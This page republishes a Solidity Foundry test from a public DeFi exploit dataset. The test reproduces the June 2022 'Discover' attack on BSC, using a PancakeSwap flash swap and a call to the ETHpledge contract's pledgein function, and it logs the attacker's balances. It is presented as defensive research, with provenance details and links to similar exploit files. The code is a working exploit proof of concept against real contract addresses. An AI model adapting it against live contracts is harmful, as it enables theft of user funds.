Public reproduction file
src/test/2022-06/Discover_exp.sol
Public reproduction file for dataset entry Discover.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7interface ETHpledge {8 function pledgein(address fatheraddr, uint256 amountt) external returns (bool);9}10// Expected error. [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT]11// Because we don't repay funds to pancake.13contract ContractTest is Test {14 IPancakePair PancakePair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);15 IPancakePair PancakePair2 = IPancakePair(0x92f961B6bb19D35eedc1e174693aAbA85Ad2425d);16 IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);17 IERC20 discover = IERC20(0x5908E4650bA07a9cf9ef9FD55854D4e1b700A267);18 ETHpledge ethpledge = ETHpledge(0xe732a7bD6706CBD6834B300D7c56a8D2096723A7);19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);21 constructor() {22 cheats.createSelectFork("bsc", 18_446_845); // fork bsc at block 1844684524 busd.approve(address(ethpledge), type(uint256).max);25 discover.approve(address(ethpledge), type(uint256).max);26 }28 function testExploit() public {29 bytes memory data = abi.encode(address(this), 19_810_777_285_664_651_588_959);30 emit log_named_uint("Before flashswap, BUSD balance of attacker:", busd.balanceOf(address(this)));31 PancakePair2.swap(19_810_777_285_664_651_588_959, 0, address(this), data);32 }34 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {35 emit log_named_uint("After flashswap, BUSD balance of attacker:", busd.balanceOf(address(this)));36 ethpledge.pledgein(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930, 2_000_000_000_000_000_000_000);37 emit log_named_uint(38 "After Exploit, discover balance of attacker:",39 discover.balanceOf(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930)40 );41 }43 receive() external payable {}44}Analysis
Dataset entry
Public Foundry test for “Discover” (2022-06-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
6 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-06/Gym_2_exp.solSame month in the dataset · 24 lines
- src/test/2022-06/Harmony_multisig_exp.solSame month in the dataset · 53 lines
- src/test/2022-06/InverseFinance_exp.solSame month in the dataset · 117 lines
- src/test/2022-06/Optimism_exp.solSame month in the dataset · 27 lines
- src/test/2022-06/Snood_exp.solSame month in the dataset · 56 lines
- src/test/2022-06/XCarnival_exp.solSame month in the dataset · 165 lines
File record
- Name
- Discover
- Path
- src/test/2022-06/Discover_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2ea39b8f64a0d28572f7644dd3687c7f1cdf4063
- Language
- Solidity
- Size
- 45 lines
- Date
- 2022-06-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-06/Discover_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2ea39b8f64a0d28572f7644dd3687c7f1cdf4063, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.